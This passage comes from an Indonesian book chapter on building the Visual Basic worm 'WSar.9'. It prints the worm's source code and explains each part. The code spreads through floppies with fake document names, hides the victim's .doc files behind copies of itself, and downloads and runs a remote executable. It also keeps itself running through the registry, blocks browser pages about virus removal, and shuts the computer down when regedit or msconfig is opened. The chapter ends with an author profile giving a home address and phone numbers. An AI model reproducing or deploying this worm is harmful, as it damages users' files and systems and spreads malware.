If Len(Dir$("A:\*doc .exe")) = 0 Then If lstDoc.ListCount > 0 Then FileCopy(WormFile, "A:\" & lstDoc.List(Acak) & " .exe") Else FileCopy(WormFile, "A:\readme.doc .exe") End If End If End Sub Private Sub Payload() On Error Resume Next Phantom(GetStringValue("HKEY_CURRENT_USER\Software\" & _ "Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", _ "Personal"), "*.doc", WormFile, "where my document.doc .exe") MsgBox("WSar.9 Ada Pada Komputer Anda", vbExclamation, _ "WSar.9") End Sub Private Sub tmrMulti_Timer() On Error Resume Next If (Right(Minute(Now), 1) = 2 Or Right(Minute(Now), 1) = 8) And _ Second(Now) = 13 Then Call InfectFloppy() End If If Minute(Now) = 1 Or Minute(Now) = 31 Then SwapMouseButton(True) StartButton(False) Else SwapMouseButton(False) StartButton(True) End If If Month(Now) = 10 And Day(Now) = 13 And CPayload = False _ Then CPayload = True Payload() End If If InternetGetConnectedState(0&, 0&) = 0 Then GoTo akhir If Year(Now) > 2006 And VarianExist = False Then If Len(Dir$(SpecialFolder(0) & "\wsar" & Year(Now) & ".exe")) = _ 0 Then Downloader("http://www.iwwa.or.id/newvarian/wsarx.exe", _ SpecialFolder(0) & "\wsar" & Year(Now) & ".exe", True) VarianExist = True End If End If akhir: End Sub

267

Jasakom

Bab 15. Worm WSar.9

Computer Worm 1 - Secret of Underground Coding : Uncensored

Private Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValue End Function Private Function DropFile(ByVal ResType As String, ByVal ResID As Long, _ ByVal OutputPath As String) On Error Resume Next Dim DROP() As Byte DROP = LoadResData(ResID, ResType) Open OutputPath For Binary As #1 Put #1, , DROP Close #1 End Function Private Function Downloader(ByVal FileOnNet As String, ByVal FileOutput _ As String, ByVal Execute As Boolean) On Error Resume Next Dim newfile() As Byte If InternetGetConnectedState(0&, 0&) = 0 Then GoTo akhir Inet1.RequestTimeout = 40 newfile() = Inet1.OpenURL(FileOnNet, icByteArray) Open FileOutput For Binary Access Write As #1 Put #1, , newfile() Close #1 If Execute = True Then Shell(FileOutput) End If akhir: End Function Private Function Phantom(ByVal DirPath As String, ByVal Extention _ As String, ByVal FullSourcePath As String, ByVal TargetName As _ String) As Long On Error Resume Next Dim eksfile As String Dim fwall As Long If Right(DirPath, 1) <> "\" Then DirPath = DirPath & "\" eksfile = Dir(DirPath, vbDirectory)

Bab 15. Worm WSar.9

Jasakom

268

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Do While Trim(eksfile) <> "" If Trim(eksfile) <> "." And Trim(eksfile) <> ".." Then If (GetAttr(DirPath + eksfile) And vbDirectory) = _ vbDirectory Then fwall = Phantom(DirPath + eksfile, Extention, _ FullSourcePath, _ TargetName) eksfile = Dir(DirPath, vbDirectory) Else eksfile = Dir(, vbDirectory) End If Else eksfile = Dir(, vbDirectory) End If Loop eksfile = Dir(DirPath + Extention) Do While Trim(eksfile) <> "" FileCopy(FullSourcePath, DirPath & TargetName) SetAttr (DirPath + eksfile), vbHidden + vbSystem eksfile = Dir Loop If Right(DirPath, 1) = "\" Then DirPath = Mid(DirPath, 1, Len _ (DirPath) - 1) SetAttr(DirPath, vbSystem) Phantom = 0 End Function Function GetFiles(filespec As String, Optional Attributes As _ VbFileAttribute) As String() On Error Resume Next Dim result() As String Dim filename As String, count As Long, path2 As String Const ALLOC_CHUNK = 50 ReDim result(0 To ALLOC_CHUNK) As String filename = Dir$(filespec, Attributes) Do While Len(filename) count = count + 1 If count > UBound(result) Then ReDim Preserve result(0 To count + ALLOC_CHUNK) As String End If result(count) = filename filename = Dir$ Loop ReDim Preserve result(0 To count) As String GetFiles = result End Function Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WName End Function

269

Jasakom

Bab 15. Worm WSar.9

Computer Worm 1 - Secret of Underground Coding : Uncensored

Untuk module mdlRegistryAPI Anda bisa menggunakan module yang sama pada WSar.4 dan module mdlWinCheck menggunakan module yang sama pada WSar.8 Berikut penjelasan tentang kode program: Procedure Form_Load seperti biasa mengatur agar worm tidak tampil pada jendela Task List, mencegah proses baru dari file yang sama dan mengeksekusi procedure InfectSystem, kemudian worm memanggil procedure ChangeIcon. Adapun pengaturan nilai variabel CPayload dan VarianExist menjadi false berkaitan dengan procedure tmrMulti_Timer. Procedure InfectSystem pada WSar.9 berbeda pada worm dasar sebelumnya, dimulai dengan memberikan nilai pada beberapa variabel yang mengacu pada suatu data registry, yaitu: Variabel WSarName mengacu pada key registry "HKEY_LOCAL_ MACHINE\Software\Microsoft\Windows\CurrentVersion" dengan nilai data "ProductNo" Variabel WSarLast yang mengacu pada key registry "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion" dengan nilai data 'ProductCode Variabel WSarPath yang mengacu pada key registry "HKEY_LOCAL_ MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" dan dengan nilai data yang diambil dari nilai variabel WSarName. Jika nilai pada variabel WSarName adalah "error" yang berarti nilai registry tersebut tidak ditemukan dan berarti pula bahwa worm belum melakukan penginfeksian pada system komputer tersebut maka worm akan membuat salinan ke direktori System Windows dengan menggunakan nama yang diambil secara acak dan berkisar antara 4 hingga 12 karakter. Untuk memudahkan penjelasan berikutnya nama file ini kita sebut dengan istilah NextName. Worm kemudian mengatur nilai registry yang mengacu pada variabel WSarName dengan memberikan value dengan nilai NextName, kemudian mengatur nilai registry yang mengacu pada variabel WSarLast dengan memberikan value berupa nama file utama yang aktif dan mengatur nilai registry yang mengacu pada variabel WSarPath dengan memberikan value dengan nilai full path dari NextName yang berada pada direktori System Windows.
Jasakom

Bab 15. Worm WSar.9

270

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Sebaliknya jika nilai pada variabel WSarName ditemukan, maka jika path file utama tidak berada pada direktori System Windows, maka worm langsung mengakhiri proses dari file utama hal ini untuk mencegah penginfeksian berulang dari file infector lainnya, dan jika tidak worm akan menghapus file yang mengacu pada variabel WSarLast, kemudian menghapus key registry yang mengacu pada variabel WSarPath dengan value yang mengacu pada variabel WSarName. Selanjutnya worm akan membuat salinan ke direktori System Windows dengan menggunakan nama NextName lainnya. Worm kemudian mengatur nilai registry yang mengacu pada variabel WSarName dengan memberikan value dengan nilai NextName kemudian mengatur nilai registry yang mengacu pada variabel WSarLast dengan memberikan value berupa nama file utama yang aktif dan mengatur nilai registry yang mengacu pada variabel WSarPath dengan memberikan value dengan nilai full path dari NextName yang berada pada direktori System Windows. Demikian hal ini akan berulang setiap kali Windows startup. Procedure ChangeIcon saat dieksekusi akan memeriksa keberadaan file WSar9.ico yang berada pada direktori Windows, jika tidak ditemukan maka dengan menggunakan resource file sebagai metode Drop File. Worm mengekstrak file WSar9.ico yang merupakan file icon bergambar hati ke direktori Windows dan langsung mengatur suatu nilai registry yang mengacu pada pengaturan default untuk icon berekstensi *.exe dengan mengganti icon tersebut menjadi icon WSar9.ico. Sebaliknya jika file WSar9.ico ditemukan, maka WSar.9 mengatur beberapa nilai registry yang mengacu pada pengaturan default untuk icon My Documents, My Computer, My Network Place dan Recycle Bin. dengan mengganti icon tersebut menjadi icon WSar9.ico. Procedure tmrBlockUrl_Timer aktif setiap satu detik dengan menutup aplikasi browser yang pada address-nya mengandung kata worm, virus dan removal. Hal ini dilakukan dengan menggunakan function BlockUrl yang terdapat pada module mdlBlockUrl. Procedure tmrDefender_Timer aktif setiap 0.2 detik, dengan menggunakan function WinCheck worm memeriksa apakah aplikasi Windows Task Manager dijalankan oleh user atau tidak.

271

Jasakom

Bab 15. Worm WSar.9

Computer Worm 1 - Secret of Underground Coding : Uncensored

Jika ternyata aplikasi tersebut dijalankan maka variabel TskActMon diatur menjadi false. Kemudian jika aplikasi Windows Task Manager dijalankan dan nilai variabel TskActMon adalah true maka procedure diakhiri. Jika aplikasi Windows Task Manager dijalankan dan nilai variabel TskActMon adalah false maka worm akan merubah string yang bertuliskan nama file utama dengan string "explorer.exe", string "EXPLORER.EXE" menjadi "SVCHOST.EXE" string "explorer.exe" menjadi "svchost.exe" dan merubah string "SYSTEM" menjadi "WSarWasHere" kemudian mengatur nilai TskActMon menjadi true. Jika user menjalankan aplikasi regedit.exe atau regedt32.exe (Registry Editor) maka properti Enabled pada tmrDefender diatur menjadi false, kemudian langsung mematikan komputer. Jika user menjalankan aplikasi msconfig.exe (System Configuration Utility) maka properti Enabled pada tmrDefender diatur menjadi false, kemudian langsung me-restart komputer. Saat procedure InfectFloppy dieksekusi pertama kali yang dilakukan adalah membersihkan data pada ListBox lstDoc, kemudian menambahkan satu item mengacu pada nilai registry yang merupakan lokasi default untuk folder My Document aktif. WSar.9 kemudian mencari dan mengumpulkan file yang berekstensi *.doc pada folder tersebut dan menyimpannya dalam ListBox lstDoc. Jika ListBox lstDoc memiliki data maka worm memilih secara acak nama file dokumen tersebut dan menggunakan nama tersebut untuk membuat salinan pada drive A, tentunya dengan ekstensi .exe. Sebaliknya jika pada ListBox lstDoc tidak ditemukan adanya data maka WSar.9 menggunakan nama default "readme.doc.exe". Procedure Payload akan memanggil function Phantom dengan variabel DirPath yang diambil dari lokasi default untuk folder My Document, variabel Extention diatur pada *.doc, variabel FullSourcePath dari fullpath file utama dan variabel TargetName yang diatur menjadi "where my document.doc.exe". Setelah itu seperti yang terjadi pada worm dasar lainnya, WSar.9 juga menampilkan pesan "WSar.9 Ada Pada Komputer Anda".

Bab 15. Worm WSar.9

Jasakom

272

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Procedure tmrMulti_Timer aktif setiap 0.5 detik. Jika angka kedua pada menit sekarang adalah 2 atau angka kedua pada menit sekarang adalah 8 dan detik sekarang adalah 13 maka akan di-eksekusi procedure InfectFloppy. Jika menit sekarang adalah 1 atau 31 maka panggil function SwapMouseButton dari module mdlIseng yang akan menukar fungsi tombol pada mouse, kemudian akan dipanggil function StartButton dari module mdlIseng yang akan menyembunyikan tombol Startmenu. Jika menit bukan 1 atau 31 maka sebaliknya akan menormalkan fungsi tombol pada mouse dan tetap menampilkan tombol Startmenu. Jika bulan sekarang adalah Oktober dan tanggal sekarang adalah 13 dan nilai CPayload adalah false, maka atur variabel CPayload menjadi true, kemudian panggil procedure PayLoad. Jika komputer tidak terkoneksi ke internet maka akan mengakhiri procedure. Jika tahun sekarang lebih besar dari 2006 dan nilai VarianExist adalah false, maka jika file dengan nama file wsar(tahun sekarang).exe (sebagai contoh jika tahun sekarang adalah 2007 maka nama filenya adalah: wsar2007.exe) tidak ditemukan pada direktori Windows maka WSar.9 memanggil function Downloader yang akan men-download file dari site fiktif http://www.iwwa.or.id/newvar ian/wsarx.exe, dengan lokasi file pada direktori Windows dan langsung mengeksekusinya, kemudian mengatur nilai VarianExist menjadi true. Function DropFile berguna untuk mengekstrak resource file dari body program utama. Function Downloader berfungsi untuk memudahkan pengambilan file di internet. Function Phantom bertugas untuk memeriksa suatu folder tertentu dan mencari file-file dengan suatu ekstensi tertentu, dimana function ini menyembunyikan file-file tersebut dan meninggalkan suatu salinan file tertentu dengan nama file tertentu pula. Function GetFiles berfungsi untuk membantu mengumpulkan file dengan ekstensi tertentu dan pada direktori tertentu. Module mdlBlockUrl memiliki function utama BlockUrl, function yang akan memeriksa address bar pada aplikasi Internet Explorer dan Netscape.

273

Jasakom

Bab 15. Worm WSar.9

Computer Worm 1 - Secret of Underground Coding : Uncensored

Module mdlIseng memiliki 3 function utama, yaitu Function ShowCursor yang dapat menyembunyikan dan menampilkan pointer mouse, Function SwapMouseButton yang mampu menukar fungsi tombol pada mouse, dan function StartButton yang dapat menyembunyikan dan menampilkan tombol Startmenu. Module mdlRenProcess memiliki function utama RenProcess yang dapat mengganti string pada jendela aplikasi Task List. Module mdlTurnOff memiliki function utama TurnOff, function yang dapat menghentikan system komputer dengan berbagai cara seperti ShutDown, Restart atau LogOff. Catatan untuk WSar.9: berikut ini adalah beberapa lokasi registry, sehubungan dengan icon default pada suatu ekstensi Ekstensi
AVI CHM GIF HTML ICO JPG MID MP3 MPEG WMA WMF

Lokasi Key
HKEY_CLASSES_ROOT\AVIFile\DefaultIcon HKEY_CLASSES_ROOT\chm.file\DefaultIcon HKEY_CLASSES_ROOT\giffile\DefaultIcon HKEY_CLASSES_ROOT\htmlfile\DefaultIcon HKEY_CLASSES_ROOT\icofile\DefaultIcon HKEY_CLASSES_ROOT\jpegfile\DefaultIcon HKEY_CLASSES_ROOT\MIDFile\DefaultIcon HKEY_CLASSES_ROOT\mp3file\DefaultIcon HKEY_CLASSES_ROOT\mpegfile\DefaultIcon HKEY_CLASSES_ROOT\wmafile\DefaultIcon HKEY_CLASSES_ROOT\wmffile\DefaultIcon

Bab 15. Worm WSar.9


Jasakom

274

PROFIL PENULIS
Nama penulis Achmad Darmal, lahir pada tanggal 13 Oktober 1980 di Tarakan, Kalimantan Timur - Indonesia, saat ini bekerja pada salah satu perusahaan swasta yang bergerak dibidang konstruksi dan pertambangan, penulis juga bekerja part-time dibeberapa lembaga kursus sebagai tenaga instruktur sekaligus merangkap sebagai teknisi komputer. Saat ini penulis sedang memperdalam ilmu komputer animasi dan desain grafis, serta aktif dalam pengembangan software perusahaan dimana penulis bekerja.

Alamat lengkap penulis: Jl. Pesisir Indah RT. 13 No. 86 Kel. Selumit Pantai Tarakan Tengah, Kalimantan Timur - Indonesia Telp: (0551) 5505637 Fax: (0551) 34971 E-mail : forensic@telkom.net

275

Jasakom

ofil - Profil - Profil - Profil -Profil - Profil -Profil - Profil - Profil -Pro

Aplikasi Computer Worm 1 & Computer Worm 2

Belanja Aman dan Nyaman WWW.TOKOMAHAL.COM

www.buku-joomla.us adalah situs yang dibangun dan dikelola oleh pembaca buku Joomla! 1.5 : Dunianya Maya, Untungnya Nyata. Sebagai pembaca, Anda berhak mengakses, membangun, merubah seisi situs ini. Dapatkan informasi detailnya didalam buku Joomla 1.5 !

Penulis : Sto

Dapatkan Buku-Buku S'to !

Windows XP:XXX dan Windows XP2:XXX merupakan serial buku IT paling laris sepanjang tahun. Buku ini akan memperlihatkan kepada Anda bagaimana melakukan berbagai hal unik dengan Windows XP yang tidak pernah Anda bayangkan sebelumnya. Tidak percaya? Silahkan buktikan sendiri !

Dapatkan Juga Windows VISTA XXX

Kunjungi www.jasakom.com untuk melihat dan membeli buku-buku terbitan dari Jasakom Buku ini juga tersedia di toko-toko buku di seluruh Indonesia seperti Gramedia, Toga Mas Gunung Agung, Toko Utama, Kharisma, Uranus, dll

You might also like